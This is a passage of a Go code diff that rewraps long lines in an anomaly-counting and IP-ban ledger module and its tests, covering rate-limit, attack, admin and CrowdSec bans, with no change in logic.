-			cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
+		return cmp.Or(
+			cmp.Compare(a.Scope, b.Scope),
+			a.Netblock.Compare(b.Netblock),
+			cmp.Compare(a.ASN, b.ASN),
+			cmp.Compare(a.Name, b.Name),
+		)
 	})
 
 	return counters
@@ -257,7 +267,11 @@ func (c *Counters) scopesOf(r Request) []scope {
 	for _, named := range p.NamedNetblocks {
 		if named.Netblock.Contains(client) {
 			all = append(all, scope{
-				key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
+				key{
+					scope:    ScopeWatchedNet,
+					netblock: named.Netblock,
+					name:     named.Name,
+				}, p.Watch,
 			})
 		}
 	}
@@ -316,7 +330,12 @@ func (c *Counter) add(
 
 		counted := count.buckets.Add(now, count.length, n)
 		if !passed && counted > float64(threshold) {
-			first = overThreshold{count.kind, count.window, counted, threshold}
+			first = overThreshold{
+				count.kind,
+				count.window,
+				counted,
+				threshold,
+			}
 			passed = true
 		}
 	}
@@ -359,12 +378,22 @@ func (c *Counter) lastStart() time.Time {
 
 // key returns what tells c from the other counters.
 func (c *Counter) key() key {
-	return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
+	return key{
+		scope:    c.Scope,
+		netblock: c.Netblock,
+		asn:      c.ASN,
+		name:     c.Name,
+	}
 }
 
 // counter returns a counter for k, with nothing counted yet.
 func (k key) counter() *Counter {
-	return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
+	return &Counter{
+		Scope:    k.scope,
+		Netblock: k.netblock,
+		ASN:      k.asn,
+		Name:     k.name,
+	}
 }
 
 // alertFor returns the anomaly alert for o, a count over its threshold in
@@ -404,8 +433,13 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
 		ASN:      r.ASN,
 		ASName:   r.ASName,
 		Country:  r.Country,
-		Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
-			counted, o.threshold),
+		Reason: fmt.Sprintf(
+			"%s per %s of %s over the threshold of %d",
+			o.kind,
+			o.window,
+			counted,
+			o.threshold,
+		),
 		Detail: detail,
 	}
 }

internal/anomaly/anomaly_test.go

@@ -31,7 +31,10 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
 		// name one netblock.
 		NetV4Prefix: 32,
 		NamedNetblocks: []anomaly.NamedNetblock{
-			{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
+			{
+				Name:     "office",
+				Netblock: office,
+			}, {Name: "hq", Netblock: office},
 		},
 		Alerts: queue,
 	})
@@ -80,11 +83,16 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
 	}
 
 	if after.Suppressed() != 9 {
-		t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
+		t.Errorf(
+			"after loading, %d alerts are held back, want 9",
+			after.Suppressed(),
+		)
 	}
 }
 
-func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
+func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	counters := newCounters(anomaly.Params{
@@ -103,17 +111,28 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
 	got := counters.Snapshot()
 	if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
 		!holds(got, maxCounters) {
-		t.Errorf("%d counters, holding the first client %v, the second %v and the "+
-			"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
-			holds(got, 1), holds(got, maxCounters), maxCounters)
+		t.Errorf(
+			"%d counters, holding the first client %v, the second %v and the "+
+				"new one %v, want %d, the first and the new one",
+			len(got),
+			holds(got, 0),
+			holds(got, 1),
+			holds(got, maxCounters),
+			maxCounters,
+		)
 	}
 }
 
-func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
+func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	counters := newCounters(anomaly.Params{
-		Net:         anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
+		Net: anomaly.Thresholds{
+			RequestsPerMinute: 1000,
+			RequestsPerHour:   1000,
+		},
 		Total:       anomaly.Thresholds{RequestsPerMinute: 1000},
 		NetV4Prefix: 24,
 	})
@@ -142,7 +161,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T)
 		Hour:     ratelimit.Buckets{Start: midnight(), Current: 7},
 	}
 	if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
-		got, want) {
+		got,
+		want,
+	) {
 		t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
 	}
 
@@ -192,9 +213,12 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
 
 	got := counters.Snapshot()
 	if !holds(got, 0) || holds(got, maxCounters/2) {
-		t.Errorf("holding the first client of the file %v, and the first counted in "+
-			"the minute before %v, want only the first", holds(got, 0),
-			holds(got, maxCounters/2))
+		t.Errorf(
+			"holding the first client of the file %v, and the first counted in "+
+				"the minute before %v, want only the first",
+			holds(got, 0),
+			holds(got, maxCounters/2),
+		)
 	}
 }
 
@@ -225,9 +249,14 @@ func newQueue() *alerts.Queue {
 // request returns a request from client number i, an address in
 // 10.0.0.0/8.
 func request(i int) anomaly.Request {
-	client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
+	client := netip.MustParseAddr(
+		fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
+	)
 
-	return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
+	return anomaly.Request{
+		Client:      client,
+		ClientGroup: netip.PrefixFrom(client, 32),
+	}
 }
 
 // holds reports whether counters hold the counter of client number i.

internal/bans/admin_test.go

@@ -36,9 +36,21 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 	// then one with an admin's ban before a ban sww made: the one
 	// ban counted toward MaxBans.
 	ledger.Load([]bans.Ban{
-		{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
-		{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
-		{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
+		{
+			Netblock: adminsOnly,
+			Start:    midnight().Add(-3 * time.Hour),
+			Cause:    bans.CauseAdmin,
+		},
+		{
+			Netblock: adminsOnly,
+			Start:    midnight().Add(-2 * time.Hour),
+			Cause:    bans.CauseAdmin,
+		},
+		{
+			Netblock: both,
+			Start:    midnight().Add(-time.Hour),
+			Cause:    bans.CauseAdmin,
+		},
 		{
 			Netblock: both,
 			Start:    midnight(),
@@ -50,15 +62,27 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 
 	// A new ban drops the ban sww made, and only that one.
 	ledger.BanForLimit(second, midnight(), bans.Notes{})
-	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
+	wantBans(
+		t,
+		ledger,
+		map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
+	)
 
 	if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
-		t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
+		t.Errorf(
+			"%s kept %+v, want the admin's ban",
+			both,
+			ledger.Bans(both),
+		)
 	}
 
 	// And the next drops that one.
 	ledger.BanForLimit(third, midnight(), bans.Notes{})
-	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
+	wantBans(
+		t,
+		ledger,
+		map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
+	)
 }
 
 func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
@@ -74,7 +98,11 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
 	// twice, each time after its last ban has ended.
 	ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
 		"probes for logins")
-	first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
+	first, _ := ledger.BanForLimit(
+		netblock,
+		midnight().Add(time.Minute),
+		bans.Notes{},
+	)
 	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
 
 	// A ban on another netblock fills the ledger, and the netblock's first
@@ -119,12 +147,21 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
 
 	ledger := bans.New(defaultParams())
 
-	limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
-		bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
-	byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
-		midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
-	attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
-		bans.Notes{RuleID: "git-dir", Target: "path"})
+	limit, _ := ledger.BanForLimit(
+		netip.MustParsePrefix("203.0.113.1/32"),
+		midnight(),
+		bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"},
+	)
+	byteLimit, _ := ledger.BanForLimit(
+		netip.MustParsePrefix("203.0.113.3/32"),
+		midnight(),
+		bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
+	)
+	attack, _ := ledger.BanForAttack(
+		netip.MustParsePrefix("203.0.113.2/32"),
+		midnight(),
+		bans.Notes{RuleID: "git-dir", Target: "path"},
+	)
 
 	for _, tc := range []struct{ got, want string }{
 		{limit.Reason, "requests per minute over the limit of 1000"},
@@ -166,17 +203,25 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
 	ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 	if ban.Expires.Sub(ban.Start) != time.Hour ||
 		ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-		t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
-			ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
+		t.Errorf(
+			"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
+			ban.Expires.Sub(ban.Start),
+			ban.Notes.EarlierBans,
+		)
 	}
 
 	held := ledger.Bans(netblock)
 	if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
-		t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
+		t.Errorf(
+			"the ledger holds %+v, want the lifted ban and the new one",
+			held,
+		)
 	}
 }
 
-func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
+func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	// A permanent ban for a clear sign of attack, lifted.
@@ -198,13 +243,20 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
 
 	active, permanent := ledger.Count(now)
 	if active != 0 || permanent != 0 {
-		t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
+		t.Errorf(
+			"%d bans are active and %d permanent, want none",
+			active,
+			permanent,
+		)
 	}
 
 	// The next clear sign of attack bans for seven days, as a first does.
 	ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
 	if ban.Expires.Sub(ban.Start) != 7*day {
-		t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
+		t.Errorf(
+			"the next ban for an attack ends at %s, want seven days on",
+			ban.Expires,
+		)
 	}
 }
 
@@ -212,8 +264,11 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 	t.Parallel()
 
 	ledger := bans.New(defaultParams())
-	made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
-		bans.Notes{})
+	made, _ := ledger.BanForLimit(
+		netip.MustParsePrefix("203.0.113.1/32"),
+		midnight(),
+		bans.Notes{},
+	)
 	atStart := bans.Ban{
 		Netblock: netip.MustParsePrefix("203.0.113.2/32"),
 		Start:    midnight(),
@@ -223,7 +278,10 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 	ledger.Load([]bans.Ban{made, atStart})
 
 	if got := ledger.Made(bans.CauseAdmin); got != 0 {
-		t.Fatalf("%d bans made by an admin after the start's, want none", got)
+		t.Fatalf(
+			"%d bans made by an admin after the start's, want none",
+			got,
+		)
 	}
 
 	// The admin keeps the ban sww made, keeps the one read at the
@@ -236,9 +294,13 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 	}
 	ledger.LoadEdit([]bans.Ban{kept, atStart, added})
 
-	if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
-		t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
-			ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
+	if ledger.Made(bans.CauseAdmin) != 1 ||
+		ledger.Made(bans.CauseLimit) != 1 {
+		t.Errorf(
+			"%d bans made by an admin and %d for a limit, want 1 of each",
+			ledger.Made(bans.CauseAdmin),
+			ledger.Made(bans.CauseLimit),
+		)
 	}
 }
 
@@ -264,8 +326,12 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
 		Notes:    bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
 	}
 
-	got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
-		"probes for logins")
+	got := ledger.BanForAdmin(
+		netip.MustParsePrefix("203.0.113.9/24"),
+		now,
+		time.Time{},
+		"probes for logins",
+	)
 	if !reflect.DeepEqual(got, want) {
 		t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
 	}
@@ -277,10 +343,17 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
 	}
 
 	// It refuses once the ban for the limit has ended.
-	ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
+	ban, banned, _ := ledger.Find(
+		netblock.Addr(),
+		midnight().Add(2*time.Hour),
+	)
 	if !banned || !reflect.DeepEqual(ban, want) {
-		t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
-			ban, banned, want)
+		t.Errorf(
+			"after the limit's ban the netblock is under %+v (%t), want %+v",
+			ban,
+			banned,
+			want,
+		)
 	}
 }
 
@@ -312,8 +385,12 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
 	now := midnight().Add(time.Minute)
 
 	lifted := ledger.Lift(client, now)
-	if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
-		t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
+	if len(lifted) != 2 || lifted[0].Lifted != now ||
+		lifted[1].Lifted != now {
+		t.Errorf(
+			"lifted %+v, want the two active bans covering the client",
+			lifted,
+		)
 	}
 
 	wantChanged(t, ledger, true)
@@ -330,8 +407,11 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
 	covering := ledger.Covering(client)
 	if len(covering) != 3 || covering[0].Netblock != wide ||
 		!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
-		t.Errorf("the bans covering the client are %+v, want the /24's and both "+
-			"of its own, the earlier not lifted", covering)
+		t.Errorf(
+			"the bans covering the client are %+v, want the /24's and both "+
+				"of its own, the earlier not lifted",
+			covering,
+		)
 	}
 
 	// With none active, nothing is lifted or changed.
@@ -342,16 +422,26 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
 	wantChanged(t, ledger, false)
 }
 
-func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
+func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	client := netip.MustParseAddr("203.0.113.9")
 	ledger := bans.New(defaultParams())
 
 	// The temporary ban is made first, so that its netblock is looked at first.
-	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
-	ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
-		"for good")
+	ledger.BanForLimit(
+		netip.MustParsePrefix("203.0.113.9/32"),
+		midnight(),
+		bans.Notes{},
+	)
+	ledger.BanForAdmin(
+		netip.MustParsePrefix("203.0.113.0/24"),
+		midnight(),
+		time.Time{},
+		"for good",
+	)
 
 	wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
 }
@@ -363,10 +453,19 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
 	ledger := bans.New(defaultParams())
 
 	ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
-	ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
-		"for an hour")
+	ledger.BanForAdmin(
+		netblock,
+		midnight().Add(time.Minute),
+		midnight().Add(time.Hour),
+		"for an hour",
+	)
 
-	wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
+	wantPermanentBan(
+		t,
+		ledger,
+		netblock.Addr(),
+		midnight().Add(2*time.Minute),
+	)
 }
 
 // wantPermanentBan checks that Find and Check return a permanent ban for
@@ -382,7 +481,12 @@ func wantPermanentBan(
 	} {
 		ban, banned, _ := look(client, now)
 		if !banned || !ban.Permanent() {
-			t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
+			t.Errorf(
+				"%s returned %+v and banned %v, want a permanent ban",
+				name,
+				ban,
+				banned,
+			)
 		}
 	}
 }

internal/bans/bans.go

@@ -209,7 +209,10 @@ func New(params Params) *Ledger {
 	// The ledger drops bans itself, and never those whose cause is
 	// CauseAdmin, however many there are, so the LRU has no limit of its
 	// own: it keeps the netblocks in the order they were last seen.
-	netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
+	netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
+		math.MaxInt,
+		nil,
+	)
 	if err != nil {
 		panic(err) // NewLRU fails only for a size below one
 	}
@@ -312,7 +315,15 @@ func activeBan(bans []Ban, now time.Time) *Ban {
 func (l *Ledger) BanForLimit(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
+	return l.ban(
+		netblock,
+		now,
+		time.Time{},
+		CauseLimit,
+		limitReason(notes),
+		notes,
+		true,
+	)
 }
 
 // WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -320,7 +331,15 @@ func (l *Ledger) BanForLimit(
 func (l *Ledger) WouldBanForLimit(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
+	return l.ban(
+		netblock,
+		now,
+		time.Time{},
+		CauseLimit,
+		limitReason(notes),
+		notes,
+		false,
+	)
 }
 
 // BanForAttack bans netblock at now for a clear sign of attack, with
@@ -331,7 +350,15 @@ func (l *Ledger) WouldBanForLimit(
 func (l *Ledger) BanForAttack(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
+	return l.ban(
+		netblock,
+		now,
+		time.Time{},
+		CauseAttack,
+		attackReason(notes),
+		notes,
+		true,
+	)
 }
 
 // WouldBanForAttack returns what BanForAttack would, without making the
@@ -339,8 +366,15 @@ func (l *Ledger) BanForAttack(
 func (l *Ledger) WouldBanForAttack(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
-		false)
+	return l.ban(
+		netblock,
+		now,
+		time.Time{},
+		CauseAttack,
+		attackReason(notes),
+		notes,
+		false,
+	)
 }
 
 // BanForCrowdSec bans netblock at now until expires, when CrowdSec's
@@ -348,19 +382,39 @@ func (l *Ledger) WouldBanForAttack(
 // whether it made it, as BanForLimit does. Its reason is "CrowdSec's
 // decision for <scenario>", the scenario that made the decision.
 func (l *Ledger) BanForCrowdSec(
-	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
+	netblock netip.Prefix,
+	now, expires time.Time,
+	scenario string,
+	notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
-		true)
+	return l.ban(
+		netblock,
+		now,
+		expires,
+		CauseCrowdSec,
+		crowdSecReason(scenario),
+		notes,
+		true,
+	)
 }
 
 // WouldBanForCrowdSec returns what BanForCrowdSec would, without making
 // the ban: what observe mode would have done.
 func (l *Ledger) WouldBanForCrowdSec(
-	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
+	netblock netip.Prefix,
+	now, expires time.Time,
+	scenario string,
+	notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
-		false)
+	return l.ban(
+		netblock,
+		now,
+		expires,
+		CauseCrowdSec,
+		crowdSecReason(scenario),
+		notes,
+		false,
+	)
 }
 
 // WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
@@ -505,7 +559,10 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
 // about it. It is not a request from netblock, and leaves when it was last
 // seen unchanged. It does not have bans.json written at once: the notes
 // are written with its next write, as the counts in them are.
-func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
+func (l *Ledger) AddLookup(
+	netblock netip.Prefix,
+	asn, asName, country string,
+) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 
@@ -654,7 +711,10 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
 // keep is true, the ban is not made, only returned: it is the ban that
 // would have been made.
 func (l *Ledger) ban(
-	netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
+	netblock netip.Prefix,
+	now, expires time.Time,
+	cause, reason string,
+	notes Notes,
 	keep bool,
 ) (Ban, bool) {
 	l.mu.Lock()
@@ -675,7 +735,13 @@ func (l *Ledger) ban(
 	}
 
 	notes.Request = notes.Request.cut()
-	ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
+	ban := Ban{
+		Netblock: netblock,
+		Start:    now,
+		Cause:    cause,
+		Reason:   reason,
+		Notes:    notes,
+	}
 
 	switch cause {
 	case CauseAttack:
@@ -765,7 +831,9 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
 	var first *Ban
 
 	for _, length := range lengths {
-		bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
+		bans, found := l.netblocks.Get(
+			netip.PrefixFrom(client, length).Masked(),
+		)
 		if !found {
 			continue
 		}
@@ -798,7 +866,9 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
 	var found []*[]Ban
 
 	for _, length := range lengths {
-		bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
+		bans, ok := l.netblocks.Peek(
+			netip.PrefixFrom(client, length).Masked(),
+		)
 		if ok {
 			found = append(found, bans)
 		}
@@ -852,13 +922,15 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
 	var last *Ban
 
 	for i, ban := range held {
-		if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
+		if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) &&
+			ban.Lifted.IsZero() &&
 			(last == nil || ban.Expires.After(last.Expires)) {
 			last = &held[i]
 		}
 	}
 
-	if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
+	if last != nil &&
+		now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
 		lastLength := last.Expires.Sub(last.Start)
 		// This is repeatFactor * lastLength > MaxBanDuration, written so
 		// that it cannot overflow.

internal/bans/bans_test.go

@@ -27,8 +27,14 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
 		length := time.Duration(hours) * time.Hour
 		if !ban.Expires.Equal(now.Add(length)) ||
 			ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
-			t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
-				i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
+			t.Fatalf(
+				"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
+				i+1,
+				ban.Expires.Sub(now),
+				ban.Notes.EarlierBans,
+				hours,
+				i,
+			)
 		}
 
 		now = ban.Expires
@@ -65,13 +71,27 @@ func TestRepeatWindowRunsOut(t *testing.T) {
 			ledger := bans.New(defaultParams())
 			netblock := netip.MustParsePrefix("203.0.113.9/32")
 
-			first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
-			second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
+			first, _ := ledger.BanForLimit(
+				netblock,
+				midnight(),
+				bans.Notes{},
+			)
+			second, _ := ledger.BanForLimit(
+				netblock,
+				first.Expires.Add(tc.gap),
+				bans.Notes{},
+			)
 
 			if second.Expires.Sub(second.Start) != tc.want ||
 				second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-				t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
-					second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
+				t.Errorf(
+					"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
+					second.Expires.Sub(
+						second.Start,
+					),
+					second.Notes.EarlierBans,
+					tc.want,
+				)
 			}
 		})
 	}
@@ -84,8 +104,11 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
 	params.LimitBanDuration = params.MaxBanDuration + time.Hour
 	ledger := bans.New(params)
 
-	ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
-		bans.Notes{})
+	ban, _ := ledger.BanForLimit(
+		netip.MustParsePrefix("203.0.113.9/32"),
+		midnight(),
+		bans.Notes{},
+	)
 	if !ban.Permanent() {
 		t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
 	}
@@ -106,7 +129,12 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
 	for i := range 14 {
 		ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 		if !ban.Expires.After(ban.Start) {
-			t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
+			t.Fatalf(
+				"ban %d starts at %s and ends at %s",
+				i+1,
+				ban.Start,
+				ban.Expires,
+			)
 		}
 
 		now = ban.Expires
@@ -129,17 +157,36 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
 		t.Error("the first ban was not made")
 	}
 
-	again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
+	again, made := ledger.BanForLimit(
+		netblock,
+		midnight().Add(time.Minute),
+		bans.Notes{},
+	)
 
-	if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
-		t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
-			"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
+	if made || !reflect.DeepEqual(again, first) ||
+		len(ledger.Bans(netblock)) != 1 {
+		t.Errorf(
+			"a limit broken during a ban gave %+v, made %t, and %d bans, "+
+				"want %+v, not made, and 1",
+			again,
+			made,
+			len(ledger.Bans(netblock)),
+			first,
+		)
 	}
 
-	again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
+	again, made = ledger.BanForAttack(
+		netblock,
+		midnight().Add(time.Minute),
+		bans.Notes{},
+	)
 	if made || !reflect.DeepEqual(again, first) {
-		t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
-			again, made, first)
+		t.Errorf(
+			"an attack during a ban gave %+v, made %t, want %+v, not made",
+			again,
+			made,
+			first,
+		)
 	}
 }
 
@@ -148,16 +195,26 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
 
 	ledger := bans.New(defaultParams())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
-	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
+	ban, _ := ledger.BanForLimit(
+		netblock,
+		midnight(),
+		bans.Notes{Requests: 5},
+	)
 
 	for range 3 {
-		got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
+		got, banned, _ := ledger.Check(
+			netblock.Addr(),
+			ban.Expires.Add(-time.Nanosecond),
+		)
 		if !banned || got.Start != ban.Start {
 			t.Fatalf("check during the ban gives %+v and %t", got, banned)
 		}
 	}
 
-	_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
+	_, banned, _ := ledger.Check(
+		netip.MustParseAddr("203.0.113.10"),
+		midnight(),
+	)
 	if banned {
 		t.Error("another netblock is banned")
 	}
@@ -180,11 +237,23 @@ func TestFindCountsNothing(t *testing.T) {
 
 	ledger := bans.New(defaultParams())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
-	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
+	ban, _ := ledger.BanForLimit(
+		netblock,
+		midnight(),
+		bans.Notes{Requests: 5},
+	)
 
-	got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
+	got, banned, _ := ledger.Find(
+		netblock.Addr(),
+		ban.Expires.Add(-time.Nanosecond),
+	)
 	if !banned || !reflect.DeepEqual(got, ban) {
